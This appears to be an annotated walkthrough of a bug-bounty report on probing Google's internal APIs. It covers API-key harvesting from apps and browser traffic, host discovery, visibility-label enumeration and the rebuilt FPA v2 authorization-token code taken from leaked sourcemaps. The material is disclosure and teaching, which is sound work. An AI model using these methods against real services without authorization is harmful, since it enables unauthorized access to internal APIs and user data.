"liveChatModerators": {opens a named group. This is a family of related methods, all about the moderators of a YouTube live chat. Think of it as a chapter heading in the menu."methods": {says that what follows is the list of individual things you can do in this chapter."insert": {is one method. Its name isinsert, and it means "add a new one". So this is the method for adding a live chat moderator."flatPath": "youtube/v3/liveChat/moderators"is the address, the part of the URL after the server name. If you want to call this method, this is the path you send your request to."description": "Inserts a new resource into this collection."is a human-readable sentence explaining what the method does. It is there for people, but a machine can also read it and use it as a hint about what to test."httpMethod": "POST"says which kind of request this is. GET means "give me something", POST means "create or change something". This one creates, so it is POST."parameters": {opens the list of options you can pass with the request, the same way a menu dish might let you choose a side."part": {is one parameter, namedpart."description": "The *part* parameter serves two purposes..."explains whatpartdoes. In this API it says which pieces of the resource you want to set or get back."repeated": truemeans you can supply this parameter more than once."required": truemeans the request will be rejected if you leave it out."location": "query"means the parameter goes in the query string, the part of a URL after a question mark, like?part=snippet."type": "string"means the value is text.
That is the whole idea. Every method in every Google API is described in this same shape. A program that can read this shape can construct a valid request for any method without a human telling it what to send. That is the foundation the entire automated pipeline is built on.
The second layer: visibility labels
There is a complication on top of this. Certain Google Cloud projects have visibility labels enabled, which gives them access to hidden endpoints that do not appear in a discovery document unless the labels parameter is supplied.
A Google Cloud project is a container that groups together resources, permissions and API keys under one identity. When a program calls a Google API, it usually identifies itself with an API key, and that key belongs to a project. So the project is the "who is asking" from the API's point of view.
A visibility label is a tag on a project that says "this project is allowed to see the extra, hidden parts of the menu". The same API therefore presents two different surfaces depending on which project's key asks for the document. Fetching the Service Management API discovery document without labels returns 253k bytes. Adding ?labels=GOOGLE_INTERNAL grows the response to 329k bytes and reveals significantly more hidden documentation.
Two numbers, one menu. The 253k version is what the public sees. The 329k version is what an insider project sees. The extra 76k of text is a list of methods that exist but are not advertised.
The labels parameter only accepts one label at a time. That single sentence has a big consequence. If you want to know everything that is hidden, you cannot ask for "all labels" in one request. You have to test every known label with every API key across every discovered API, one combination at a time. The request volume is massive, but it is the only way to uncover endpoints hidden behind visibility labels.
Why the scale matters
By scraping API keys out of Android packages, intercepting traffic across Google's web properties and scanning for live API hostnames, the researcher assembled discovery documents for more than 1,500 APIs, and combined them with documents archived from earlier research.
That corpus, rather than any single endpoint, is the real target: a large, structured and mostly undocumented set of internal methods that can be probed systematically. One person reading documentation could never cover it. A program that reads the documents for you can. And once a program is doing the reading, the only question left is how to make it send requests that the servers will actually accept, which is what the next sections are about.
Step 1: collecting API keys
What an API key is
An API key is a long string of letters and numbers that a program sends along with its request to say "this request comes from project X". It works a little like a membership card at a warehouse: the card does not say who you are as a person, but it says which account is buying, and the till will charge that account and apply that account's permissions.
A key looks like this, taken from one of the requests in the report:
[redacted]
That is not a password in the usual sense. It does not log you in as a person. It identifies a Google Cloud Platform (GCP) project, which is a container that groups together resources, permissions and keys under one identity. When a program calls a Google API, the key tells the server which project is asking, and the server decides what that project is allowed to do.
The useful property, and the reason this whole step exists, is that a key found in one service often has multiple other APIs enabled for its GCP project. In other words, one membership card can open several doors, not just the one it was issued for. So collecting as many keys as possible widens access to many APIs at once. If you find a key in a Google app that talks to one service, that same key may also be accepted by a dozen internal APIs that the app never uses.
How the keys were collected
The researcher teamed up with Michael for this part and took an exhaustive approach. "Exhaustive" is the right word: they did not look for a clever shortcut, they looked at everything they could get their hands on.
They scraped over 60,000 Android APKs, every version of every Google app ever released, unpacked them and grepped for API keys. An APK is the file format Android uses to install an app, and it is essentially a zip archive: inside are the app's code, images, configuration files and, very often, hard-coded strings such as API keys. Grepping means searching text for a pattern, the way the search box in a text editor works, but across thousands of files at once.
The command they used to count what they had collected looks like this:
user@siege:/mnt/data/apks$ ls -1 | wc -l
61200
Line by line:
user@siege:/mnt/data/apks$is the shell prompt. It is not a command. It shows the username (user), the machine name (siege), the current folder (/mnt/data/apks) and the$that means "the computer is waiting for you to type something". You will see this in documentation all the time; it is there to show where the command was run.lsis the command that lists the contents of a folder. By default it prints names in columns.-1is an option that tellslsto print one name per line instead of in columns. The character is a digit one, not a letter l.|is the pipe. It takes the output of the command on its left and feeds it as input to the command on its right. Think of it as a conveyor belt between two machines.wcstands for "word count". It counts lines, words and characters in whatever it receives.-ltellswcto count only lines.61200is the output: the number of lines, which is the number of files in the folder.
So the whole line means "list every file in this folder, one per line, and count the lines". The answer, 61,200, is the number of APK files they had gathered. That number is the point of the command: it is a receipt showing the scale of the collection.
They also built a Chrome extension using the Chrome Debugger API to intercept network traffic, then systematically visited all known Google web domains (2.8k+) and used every web app feature possible to capture keys from live requests. A browser extension is a small program added to the browser. The Chrome Debugger API is a set of functions that lets an extension watch the network requests a page makes, which is exactly what you need if you want to see the keys that Google's own web pages send to their servers. Visiting 2.8k domains and clicking through every feature is slow and boring, but it catches keys that never appear inside an app package.
In addition, they decrypted every Google IPA they could obtain and analysed any Google binaries they could find. An IPA is the iOS equivalent of an APK: the installable package for an iPhone app. Decrypting here means removing the protection Apple applies to App Store downloads so the contents can be inspected. Binaries are compiled programs, the machine-code files that run on a computer, which can also contain embedded strings.
Three sources, one goal: find as many keys as possible, because each key is a possible door into a different set of APIs.
Keeping only Google's own keys
Collecting keys creates a problem. Many of the keys found in the wild belong to third-party companies that happen to use Google's cloud, not to Google itself. Testing with those keys would mean poking at other people's projects, which is out of scope for the Google bug bounty and, more importantly, not something you are allowed to do.
So the next job was to work out which GCP project each key belonged to, and then which company owned that project. The first half is easy, because Google tells you. When you use a key against a Google API that the key's project does not have enabled, the error message includes the project number. For instance, fetching https://protos.googleapis.com/$discovery/rest?key=[redacted] returns the error Protos API has not been used in project 244648151629 before, revealing the project number.
A project number is the numeric identifier of a GCP project, as opposed to its human-readable name. It is not secret, but it is the handle you need to ask further questions about the project.
The second half is where an endpoint found in the Cloud Marketplace API comes in. It maps a project number to information about the project:
GET /v1test/infoSharing/test/test/1044708746243 HTTP/2
Host: cloudmarketplace.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: [redacted]
Line by line:
GETis the HTTP method. It means "give me something", as opposed toPOST, which means "create or change something"./v1test/infoSharing/test/test/1044708746243is the path, the part of the address after the server name. The last segment,1044708746243, is the project number being looked up. The report notes:1044708746243is the target project number.HTTP/2is the version of the protocol being spoken. It is written at the end of the first line by convention.Host: cloudmarketplace.clients6.google.comnames the server. A single server can host many sites, so theHostheader tells it which one you want.clients6.google.comis a hostname Google uses for APIs called by its own web frontends.Cookie: <redacted>carries the login session. A cookie is a small piece of text your browser stores for a site and sends back with every request, which is how a website remembers that you are logged in. It has been removed here because it would let anyone reading the report act as the researcher.Authorization: <redacted>carries the proof that the request is authorised, computed from the cookie. It is also removed.Origin: https://console.cloud.google.comsays which web page the request came from. Browsers add this automatically. Some APIs check it, as later sections explain.X-Goog-Api-Key: [redacted]is the API key, sent in a header whose name starts withX-, a convention for custom headers.
The response:
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"company": "google.com",
"email": "[redacted]",
"name": "GVRP Test2"
}
Line by line:
HTTP/2 200 OKis the status line.200means success. Other common codes are404for "not found" and403for "forbidden".Content-Type: application/json; charset=UTF-8says the body is JSON text encoded in UTF-8, the standard way to represent characters."company": "google.com"is the important field. It is the domain tied to the GCP project number that was supplied. This is what tells you who owns the project."email": "[redacted]"and"name": "GVRP Test2"belong to the authenticated Google account making the call, not to the project being looked up. They are the researcher's own test account details.
Running this endpoint for the projects behind all the collected keys allowed filtering out non-Google keys: anything not from a google.com project (or an acquisition domain such as nest.com, fitbit.com or wing.com) was discarded. An acquisition domain is a company Google bought, whose projects are still Google's responsibility even though the domain is different. Discarding everything else keeps the work inside the bug bounty's scope, which is both an ethical requirement and a practical one: a report about someone else's project would simply be rejected.
Why this step comes first
Every later step depends on having keys. The discovery documents mostly require one. The probes require one. The AI's ability to test anything at all requires one. That is why the report puts this step first, and why the researcher later said the only limiting factor was API keys: once the pipeline worked, more keys meant more reach, and there was no clever way around that.
Step 2: finding live API servers
What a hostname is
Every server on the internet has an address, and most of the time you reach it by name rather than by number. A hostname is that name: the part of a web address between https:// and the first slash. In https://people-pa.googleapis.com/, the hostname is people-pa.googleapis.com.
Names are built in layers, read from right to left. The rightmost part, com, is the top-level domain. The next part, googleapis.com, is the domain Google uses for its APIs. The leftmost part, people-pa, is the specific server inside that domain. Google has a lot of these: serviceusage.googleapis.com, protos.googleapis.com, drivefrontend-pa.clients6.google.com, and thousands more. Each one is a separate front door, and each front door may lead to a different set of APIs.
The problem is that a name existing does not mean a server is there. Anyone can write down a plausible-looking hostname. Some are real and answer requests. Some are real but only answer from inside Google's network. Some do not exist at all, and the name simply fails to resolve to anything. Before you can scan an API, you need a list of hostnames that are actually alive and actually Google's.
Why a bare GET / is enough
You do not need a valid request to find out whether a server is alive. You can send the simplest possible request, asking for the front page, and look at how the server answers. Even a refusal tells you something, because the refusal itself comes from a real server with a real configuration.
The researcher used exactly this trick. To check whether a candidate domain was a live Google API, a bare request was enough:
GET / HTTP/2
Host: people-pa.googleapis.com
Line by line:
GETis the HTTP method, meaning "give me something". It is the same method your browser uses when you type an address and press Enter./is the path. A single slash means the root, the front page, the most basic thing a server can be asked for.HTTP/2is the version of the protocol. It is written at the end of the first line by convention, and it tells the server which dialect of HTTP the client is speaking.Host: people-pa.googleapis.comnames the server you want. This header is required in HTTP/1.1 and later. It exists because one physical machine can host many websites, so the server needs to be told which name you typed. Without it, the server would not know which site you meant.
That is the whole request. No API key, no cookie, no login. Just "hello, are you there".
The Server response header was the signal:
HTTP/2 404 Not Found
Date: Mon, 16 Feb 2026 08:46:31 GMT
Content-Type: text/html; charset=UTF-8
Server: ESF
Line by line:
HTTP/2 404 Not Foundis the status line.404means "I understood your request, but there is nothing at that address". That is expected: the root path of an API server is not a real endpoint, so there is nothing to return.Date: Mon, 16 Feb 2026 08:46:31 GMTis the time the server produced the response, in Greenwich Mean Time. It is a standard header that almost every server sends.Content-Type: text/html; charset=UTF-8says the body is an HTML page, the same kind of text a web page is made of, encoded in UTF-8. A 404 page is usually a small HTML document saying "not found".Server: ESFis the interesting one. TheServerheader is an optional header where a server can announce what software it is running.ESFis a name Google's API front-end servers use.
If that header existed, usually ESF, GSE or scaffolding on HTTPServer2, the domain was a valid Google API service that was alive and responding to requests.
Why does this work? Because the Server header is set by the front-end software that handles the request before it ever reaches any application code. It does not depend on whether you sent a valid API key, whether the endpoint exists, or whether you are logged in. It is a signature of the infrastructure itself. A random web server on the internet will usually announce something else, such as nginx, Apache or cloudflare. A hostname that answers with ESF is almost certainly part of Google's API platform, which makes it worth adding to the scan list.
Notice also what the 404 tells you. The server did not say "unknown host" or refuse to connect. It produced a well-formed HTTP response with a status code, a date and a content type. That means a real server, configured to speak HTTP, is listening at that name. The 404 is a polite "nothing here", not a "nobody home".
Where the candidate hostnames came from
The check above only tells you whether a name is alive. The harder question is which names to check. The researcher combined three sources.
- Domains logged by the Chrome extension. The same browser extension used to capture API keys was also recording every hostname the browser contacted while visiting Google's web properties. If a Google web page made a request to
something-pa.clients6.google.com, that name went into the list. This is the highest-quality source, because every name in it was observed in real use. - Brute-force generated names built from keywords. Brute force here means generating candidates systematically rather than guessing cleverly: take a list of words that appear in Google's service names, combine them in patterns, and try each one. If you have seen
people-pa,drivefrontend-paandserviceusage, you can guess that other services might follow the same shape. Most guesses will be wrong, but the check is cheap, so volume makes up for the low hit rate. - Certificate transparency logs. This one needs a little explanation. When a website wants to use HTTPS, the encrypted version of HTTP, it needs a certificate, a cryptographic document that proves the site is who it claims to be. Since 2018, certificate authorities have been required to publish every certificate they issue in public certificate transparency logs, which anyone can read. Those logs are a giant, constantly updated list of hostnames that someone has obtained a certificate for. If Google obtained a certificate for a hostname, that hostname appears in the logs, even if no public web page links to it. Searching the logs for names under
googleapis.comtherefore produces a large list of real hostnames that were never advertised anywhere.
The three sources complement each other. The extension finds names that are actively used by Google's own pages. Brute force finds names that follow predictable patterns. Certificate transparency finds names that exist but are not linked from anywhere. Together they produce a list far larger than any one source alone.
Why this step matters
It is tempting to skip straight to scanning. But every later step, downloading discovery documents, probing endpoints, feeding the AI, depends on knowing which hostnames are real. A scan aimed at names that do not resolve wastes time and produces nothing. A scan aimed at names that resolve but belong to someone else is out of scope. The bare GET / check is the cheapest possible filter: one request, one header to read, and you know whether the name in front of you is a Google API server worth investigating.
It also gives you a first hint about what kind of server you are looking at. A host that answers with ESF is part of Google's API front end, which means it speaks the same protocol as every other Google API: the same error formats, the same key handling, the same lifecycle of checks described later in this article. That consistency is what makes it possible to build one tool that works across 1,500 APIs instead of writing a separate tool for each.
Step 3: scanning for discovery documents
What we are trying to fetch, and why
In the background section, a discovery document was described as the machine-readable menu of an API: a file that lists every method, every parameter and the shape of every response. If you can download that file for an API, you have a complete inventory of everything that API can do, and you can hand that inventory to a program that tests each item automatically.
So the goal of this step is simple to state: for every live API hostname found in the previous step, download its discovery document. In practice, two obstacles stand in the way, and both are worth understanding before looking at the requests.
The first obstacle is that Google stopped serving the documents at the obvious address. In July 2025 Google removed the /$discovery/rest path from most of its APIs. The path is the part of a URL after the server name, so /$discovery/rest means "the discovery document lives at the root of this server, under a folder called $discovery, at a file called rest". Removing it means that asking for that address on most APIs no longer returns the document. The report notes that it is possible to bypass this in some cases if you are clever enough, without describing every bypass. What matters for the rest of this section is that where the path still worked, the documents could be fetched, and the second obstacle then applied.
The second obstacle is the visibility labels introduced earlier. A visibility label is a tag on a Google Cloud project that says "this project is allowed to see the hidden parts of the menu". The same API therefore hands out two different documents depending on which project's key asks for it: a smaller one for the public, and a larger one for projects that hold the label. The label is supplied as a parameter in the URL, and the parameter only accepts one label at a time.
The document without a label
The researcher used the Service Management API as the example. Fetching its discovery document without labels looks like this:
GET /$discovery/rest HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: [redacted]
Line by line:
- You are asking the server to hand you a file, not to change anything, so GET is correct.
/$discovery/restis the path. The leading slash means "start at the root of this server".$discoveryis a folder name, and the dollar sign is just a character in the name, not a special instruction.restis the file being requested. Together they are the conventional address where Google's API servers publish their discovery documents.HTTP/2is the version of the protocol being spoken, written at the end of the first line by convention.Host: serviceusage.googleapis.comnames the server.serviceusageis the Service Management API, the service Google uses to track which APIs are enabled for which project. TheHostheader is required because one machine can host many names, so the server needs to be told which one you typed.X-Goog-Api-Key: [redacted]is the API key, sent in a custom header whose name starts withX-. The key tells the server which Google Cloud project is asking. That matters here because the answer depends on the project: a project with no labels gets the public document.
The response is 253k bytes. That is 253 kilobytes of text, roughly the length of a short novel, describing every method the public version of the Service Management API exposes. The exact contents are not shown in the report; what matters is the size, because it gives you a baseline to compare against.
The same document with a label
Now the same request, with one addition to the path:
GET /$discovery/rest?labels=GOOGLE_INTERNAL HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: [redacted]
Line by line, focusing on what changed:
GETis still the method. Nothing about the request changed except the address./$discovery/rest?labels=GOOGLE_INTERNALis the path plus a query string. The question mark separates the path from the query string, and everything after it is a set of parameters inname=valueform. Here there is one parameter,labels, with the valueGOOGLE_INTERNAL. A query string is the same mechanism you see in ordinary web addresses, for example when a search page shows?q=somethingin the address bar.labelsis the parameter that asks the server to include documentation for methods that are hidden behind visibility labels. Without it, those methods are left out of the document entirely, as if they did not exist.GOOGLE_INTERNALis the name of one specific label. It is the label Google uses for methods meant for its own internal projects. There are other labels, and each one unlocks a different set of hidden methods.HostandX-Goog-Api-Keyare unchanged. The same server is asked, with the same key. Only the query string differs.
The response grows to 329k bytes, revealing significantly more hidden documentation. The difference is about 76 kilobytes of extra text, which is a substantial number of additional methods that the public document does not mention at all.
Why the size difference matters
The two numbers, 253k and 329k, are the clearest illustration in the whole report of what a visibility label actually does. It is not a permission check on data. It is a filter on documentation. The server has one big document describing everything the API can do, and it trims that document down before sending it, based on which labels the asking project holds.
Think of it like a restaurant with a public menu and a staff menu. The public menu lists the dishes anyone can order. The staff menu lists those plus the dishes that are only made for staff, the specials, the things in the back fridge. Asking for the staff menu does not mean you get to eat from it. It means you get to see what is on it. Whether you can actually order any of it is a separate question, decided later when you send a real request.
That distinction is the seed of one of the root causes discussed later in this article: visibility labels were treated as if they were security, when in fact they only control who can see the documentation. But for now, the practical point is narrower. The hidden methods are real methods. They exist, they accept requests, and they are exactly the kind of thing worth testing, because they were built for internal use and may never have been hardened for public callers.
Why every label had to be tested with every key
You cannot write ?labels=GOOGLE_INTERNAL,GOOGLE_OTHER,GOOGLE_THIRD and get everything in one response. Each request carries exactly one label, and each label unlocks its own set of hidden methods.
Combine that with the fact that the answer also depends on the key. A key from a project that holds GOOGLE_INTERNAL will get the internal document. A key from a project that holds some other label will get a different document. A key from a project with no labels gets the public one. So the full picture of what is hidden behind labels is not in any single response. It is spread across the cross product of every known label and every API key you hold.
That is why the researcher tested every known label with every API key across all discovered APIs. The request volume was massive, but it was the only way to uncover endpoints hidden behind visibility labels. There is no shortcut: you cannot ask the server "what labels exist", and you cannot ask for all of them at once. You have to enumerate the combinations yourself.
The cost is real. If you have, say, a hundred keys and a dozen labels, that is twelve hundred requests per API, and there are more than a thousand APIs. But each request is cheap, each response is a file you can store and diff, and the payoff is a list of methods that nobody outside Google has ever documented. For an automated pipeline, that trade is obviously worth making.
What came out of it
The scanning produced discovery documents for 1,500+ APIs. Combined with the documents archived from earlier research, that corpus became the input to everything that follows. It is worth pausing on what that corpus represents: a structured, machine-readable description of more than a thousand Google APIs, including internal methods that were never meant to be public, all in a format a program can parse without human help.
That is the raw material. The next problem is not finding things to test, it is making the servers accept the tests. A discovery document tells you what a method is called and what parameters it takes, but it does not tell you how to prove to the server that you are allowed to call it. That is the subject of the next step.
Step 4: logging in as a Google user (authentication)
Two different questions
Up to this point the pipeline has been answering one question: "which project is asking?" An API key does that. It is a membership card for a Google Cloud project, and it tells the server which project's permissions and quotas apply.
But many endpoints need to answer a second, different question: "which person is asking?" A key cannot answer that. It does not belong to a person, it belongs to a project, and thousands of people can share one project. If an endpoint returns "your settings" or "your messages", the server has to know whose settings and whose messages, and a project key is not enough to tell it.
The two questions have names, and keeping them apart is the single most useful habit in this whole article.
- Authorisation is "what are you allowed to do?" The API key answers this, at the level of a project.
- Authentication is "who are you?" A login session answers this, at the level of a person.
A useful comparison is a hotel. Your room key card is authentication: it proves you are the guest in room 412. The list of what guests are allowed to use, the pool, the gym, the car park, is authorisation. Having a valid room key does not mean you can use the gym if the gym is reserved for a different tier of guest, and having gym access does not tell anyone which room you are in. You need both, and they are checked separately.
The report's pipeline needs both. The key gets the request past the front door. The login session tells the application which Google account is behind it, so that the application can decide whether that account may see the data it asked for. And that last decision, as the bugs later show, is exactly where things went wrong.
The obvious approach, and why it fails
The standard way to prove which person is calling an API is a bearer token. A bearer token is a long string issued after you log in, and the rule is simple: whoever bears it, meaning whoever presents it, is treated as that user. It is like a coat-check ticket. The attendant does not ask who you are; they look at the ticket and hand over the coat. Anyone holding the ticket gets the coat.
Bearer tokens are widely used and well understood, so the natural idea is to combine one with an API key: send the key to satisfy the project check, and the bearer token to satisfy the person check. That does not work on Google's APIs, and the error message explains why:
{
"error": {
"code": 400,
"message": "The API Key and the authentication credential are from different projects.",
"status": "INVALID_ARGUMENT",
...
}
}
Line by line:
"code": 400is the numeric status.400means "bad request", the server understood you but rejected what you sent."message": "The API Key and the authentication credential are from different projects."is the human-readable explanation. The authentication credential here is the bearer token. The server is saying that the key and the token belong to two different Google Cloud projects, and it will not accept a request that mixes them."status": "INVALID_ARGUMENT"is a machine-readable label for the same thing, so a program can react without parsing the sentence....marks that the report shows only part of the response.
Why does this happen? Because bearer tokens are themselves tied to GCP projects. When a token is issued, it records which project the application that requested it belongs to. The server compares that project with the project of the API key, and if they differ, it refuses. The two credentials are vouching for two different owners, and the server will not guess which one to believe.
The report states there is no known way around this using bearer authentication. Even supplying X-Goog-User-Project: <project_number> does not help, because it validates whether the authenticated account holds the roles/serviceusage.serviceUsageConsumer role in that GCP project. In plain words: you can tell the server "treat this request as belonging to project N", but the server then checks whether your logged-in account actually has permission to act for project N, and if it does not, the request is refused. You cannot simply claim a project you do not belong to.
So bearer tokens are a dead end for this pipeline. Something else is needed, and that something is how Google's own web pages talk to Google's own APIs.
First Party Authentication
Many Google APIs support Google's proprietary First Party Authentication, usually shortened to FPA. "First party" means the caller is Google itself: a Google web page, in a Google browser tab, talking to a Google server. FPA is the scheme those pages use, and crucially it does work with API keys.
A typical request from a Google web app looks like this:
This is a dense request, so it is worth going through it slowly, line by line.
POST /v1/items:get?key=[redacted] HTTP/3is the request line.POSTis the method, used here because the request carries a body describing what to fetch./v1/items:getis the path. The:getsuffix is a Google convention for a method that reads something but needs a body to describe it.?key=...is a query string carrying the API key, an alternative to sending it in a header.HTTP/3is the protocol version, the newest one, which runs over a different transport than HTTP/2.Host: drivefrontend-pa.clients6.google.comnames the server. Notice the shape:clients6.google.comrather thangoogleapis.com. Google's own web frontends call APIs onclients6hostnames, and that detail matters later.- A cookie is a small piece of text that a website asks your browser to store and send back with every request to that site. When you log in to Google, the server sets cookies in your browser, and those cookies are what make you stay logged in as you move between pages. The most important one for this story is called
SAPISID, which is why the header below is named after it. The value is removed here because anyone holding it could act as the researcher. Content-Type: application/json+protobufsays the body is JSON that follows a schema defined in a protocol called protobuf. Protobuf is Google's own format for structured data; thejson+protobufvariant means the data is written as JSON but its shape is defined by a protobuf schema. You do not need to know protobuf to follow the rest, only that it is a strict, typed way of describing data.Authorization: SAPISIDHASH <redacted> SAPISID1PHASH <redacted> SAPISID3PHASH <redacted>is the heart of FPA. Instead of a bearer token, the client sends a value computed from the cookie. The wordSAPISIDHASHnames the scheme, and the value after it is a hash, a one-way fingerprint, of theSAPISIDcookie plus some other data. Two more variants follow,SAPISID1PHASHandSAPISID3PHASH, computed from other cookies. The point is that only someone who actually holds the cookies can compute these values, so the server can trust that the request really came from a browser logged in as that user.X-Goog-Authuser: 0says which of the logged-in accounts on this browser is being used. Google lets you stay signed in to several accounts at once, numbered from zero. This header picks one.Origin: https://drive.google.comsays which web page the request came from. Browsers add this automatically and a page cannot forge it, which is why servers trust it. It is covered in detail in the next step.Referer: https://drive.google.com/says which page linked to or triggered the request. It is similar toOriginbut more specific, and it is spelled with onerin the middle because of a historical mistake in the original web standard that was never corrected.
So the pattern is: the cookie proves the session, the Authorization value proves the request was made by something that holds the cookie, the Origin says which page made it, and the key says which project is paying for it. All four together let a Google web page call an internal API as a logged-in user.
There is a well-known Stack Overflow post on this scheme, but the report notes that it does not cover the full picture. Many APIs, such as drivefrontend-pa.googleapis.com, require a more complete version of Google's FPA v2 authorization header that embeds user identifiers such as email addresses within the hash. The basic scheme described on Stack Overflow computes a hash from the cookie and the origin. The v2 scheme also folds in details about who the user is, which is why it needed to be reverse-engineered from source code.
The sourcemap leak
How do you reverse-engineer a scheme like that? You read the code that implements it. Google's frontend code is not public, but Michael spotted that Google had accidentally leaked sourcemaps for some time on https://android-review.googlesource.com/q/status:open+-is:wip.
A sourcemap needs a word of explanation. Modern websites ship minified JavaScript: the code is squashed, with variable names shortened to single letters and whitespace removed, to make the file smaller and faster to download. Minified code is almost impossible for a human to read. A sourcemap is a companion file that maps the minified code back to the original, readable source, so that a developer's browser can show them the original code when debugging. If a sourcemap is left publicly accessible, anyone can recover the readable source of the site.
That is what happened here. The leaked sourcemaps exposed the frontend source code of Google's internal gapix library, including the code that generates the FPA v2 authorization header. gapix is an internal Google library for handling first-party authentication. Reading its code told the researcher exactly how the token is built.
How the FPA v2 token is built
The new system works as follows. Three user identifiers can be included in the hash, and the code comments explain what each one means:
* @param {?Array<{key:string,value:string}>=} opt_userIdentifiers an
* array of {key:, value:} objects where 'key' is: <li>
* <ul>'e': denotes that the corresponding 'value' is the user's email address
* <ul>'u': denotes that the corresponding 'value' is the user's
* focus-obfuscated Gaia ID
* <ul>'a': denotes that the corresponding 'value' is the user account's
* app domain (required only for dasher accounts)
Line by line:
@param {?Array<{key:string,value:string}>=} opt_userIdentifiersis a documentation comment describing a function parameter.@parammarks it as a parameter description. The type says it is an optional array (the=at the end means optional, the?means it may be null) of objects, each with akeythat is a string and avaluethat is a string. The nameopt_userIdentifiersfollows a Google convention whereopt_means "optional".an array of {key:, value:} objects where 'key' is:begins the explanation of what the keys mean. Each entry in the array pairs a short letter with a value.'e': denotes that the corresponding 'value' is the user's email addresssays that if the key is the lettere, the value is the user's email address.'u': denotes that the corresponding 'value' is the user's focus-obfuscated Gaia IDsays that if the key isu, the value is the user's focus-obfuscated Gaia ID. A Gaia ID is the internal numeric identifier of a Google account. "Gaia" stands for "Google Accounts and ID Administration", the system that manages Google accounts. Every account has a short, sequential unobfuscated Gaia ID, for example 131337133377, which is easy to guess and increment. It also has a longer focus-obfuscated Gaia ID, which looks like 101189998819991197253, derived from the short one in a way that hides the sequence. The obfuscated form is used where the raw number should not be exposed.'a': denotes that the corresponding 'value' is the user account's app domain (required only for dasher accounts)says that if the key isa, the value is the account's app domain, meaning the company domain for a work account. Dasher is Google's internal name for a Google Workspace account, the kind a company buys for its employees. For a personal@gmail.comaccount there is no app domain, so this identifier is only used for Workspace users.
So the token can carry up to three facts about the user: their email, their obfuscated ID, and their company domain. Each is optional, and each is tagged with a single letter so the server knows which is which.
The token is then generated by this code:
goog.array.forEach(userIdentifiers, function (element, index, array) {
suffix.push(element["key"]);
identifiers.push(element["value"]);
});
const timestamp = Math.floor(new Date().getTime() / 1000);
if (goog.array.isEmpty(identifiers)) {
sha1Parts = [timestamp, sessionCookie, origin];
} else {
sha1Parts = [identifiers.join(":"), timestamp, sessionCookie, origin];
}
const sha1 = gapix.auth_firstparty.tokencrafter.computeSha1_(
sha1Parts.join(" ")
);
const tokenParts = [timestamp, sha1];
if (!goog.array.isEmpty(suffix)) {
tokenParts.push(suffix.join(""));
}
return tokenParts.join("_");
Line by line:
goog.array.forEach(userIdentifiers, function (element, index, array) {starts a loop over the list of user identifiers.goog.arrayis Google's internal utility library for working with arrays. For each entry, the function body runs once.suffix.push(element["key"]);takes the key of the current entry, the single letter such ase,uora, and adds it to a list calledsuffix. The name is apt: these letters end up at the end of the token.identifiers.push(element["value"]);takes the value of the current entry, the email or ID, and adds it to a list calledidentifiers.});closes the loop.const timestamp = Math.floor(new Date().getTime() / 1000);gets the current time in milliseconds since 1970, divides by 1000 to get seconds, and rounds down withMath.floorto a whole number. The result is a Unix timestamp, a single number representing the current moment. It is included so that a captured token cannot be replayed forever: the server can reject tokens that are too old.if (goog.array.isEmpty(identifiers)) {checks whether the list of identifiers is empty, meaning no user identifiers were supplied.sha1Parts = [timestamp, sessionCookie, origin];if there are no identifiers, the hash is computed from three things: the timestamp, the session cookie, and the origin.} else {otherwise, meaning at least one identifier was supplied:sha1Parts = [identifiers.join(":"), timestamp, sessionCookie, origin];the identifiers are joined with colons into one string, and that string is put in front of the timestamp, cookie and origin. So the hash now covers who the user is as well as the session and the page.}closes the conditional.const sha1 = gapix.auth_firstparty.tokencrafter.computeSha1_(calls a function in the gapix library that computes a SHA-1 hash. SHA-1 is a hash function: it takes any input and produces a fixed-length fingerprint, and it is effectively impossible to work backwards from the fingerprint to the input. The server can recompute the same hash and compare.sha1Parts.join(" ")joins the parts with single spaces before hashing. The exact separator matters, because the server must join them the same way to get the same result.);closes the call.const tokenParts = [timestamp, sha1];starts building the final token, beginning with the timestamp and the hash.if (!goog.array.isEmpty(suffix)) {checks whether any identifier letters were collected.tokenParts.push(suffix.join(""));if so, the letters are joined with no separator and appended as a third part.}closes the conditional.return tokenParts.join("_");joins the parts with underscores and returns the result. This is the string that goes into theAuthorizationheader.
The token format
Putting that together, the final token format is <timestamp>_<hash>_<identifier_keys>. Three parts separated by underscores: when the token was made, the fingerprint computed from the user details plus the cookie plus the origin, and the letters saying which user details were included.
A Google Workspace user (internally called dasher) might get a token like 1739700391_abc123def456_eua, where eua indicates the hash was computed using email, obfuscated Gaia ID and Workspace domain. The origin used in the hash is the Origin header value, for example https://drive.google.com.
Read that example slowly, because every part has a job:
1739700391is the timestamp, the moment the token was made.abc123def456is the hash. It is shown shortened here; a real SHA-1 hash is forty hexadecimal characters. It is the fingerprint of the user details, the timestamp, the cookie and the origin, all joined together.euasays which user details went into the hash:efor email,ufor obfuscated Gaia ID,afor the Workspace domain.
The server receives this, reads the timestamp to check the token is fresh, reads the letters to know which details were included, recomputes the hash from the details it knows about the logged-in user plus the cookie it received plus the origin header, and compares. If they match, the request is genuinely from that user, on that page, with that session.
The quirk that matters later
There is a detail in this design that looks like a curiosity and turns out to be a symptom of a deeper problem. Only three identifier keys exist: u for the obfuscated Gaia ID, e for email and a for the Workspace domain. If other letters are specified, the API backend simply ignores them.
That means the letters at the end of the token are not validated against a list. The server reads them to know which values to expect in the hash, but it does not reject letters it does not recognise. So it is possible to mint a valid auth header containing arbitrary strings, for example <timestamp>_<hash>_googlesauthteamhatesthisoneweirdtrick.
Why does that work? Because the token proves something narrower than it appears to. It proves that whoever made it held the session cookie and knew the origin, since those are inputs to the hash. It does not prove anything about the identity claims attached to it, because the server does not check that the claims are meaningful. The letters are a label on the hash, not a statement the server verifies. Anyone who holds the cookie can put any label they like on it.
This is worth remembering when the root causes are discussed later. It is the same confusion in miniature: a value that looks like it carries identity is really only carrying a proof of session possession, and the server treats the label as if it were trustworthy.
Why this step was necessary
Without FPA, the pipeline could only reach endpoints that accept an API key alone. Those exist, and one of the biggest bugs in this report was found on one of them. But most interesting endpoints also want to know who is calling, so that they can return that person's data or refuse. FPA is how Google's own pages answer that question, and by reconstructing it from leaked source code, the researcher could make automated requests that looked, to the server, exactly like requests from a real Google web page.
That is the unlock. With a key, a cookie from a test account, and a correctly computed FPA header, a program can call internal APIs as a logged-in user. The next problem is that the server also checks where the request claims to come from, which is the subject of the next step.
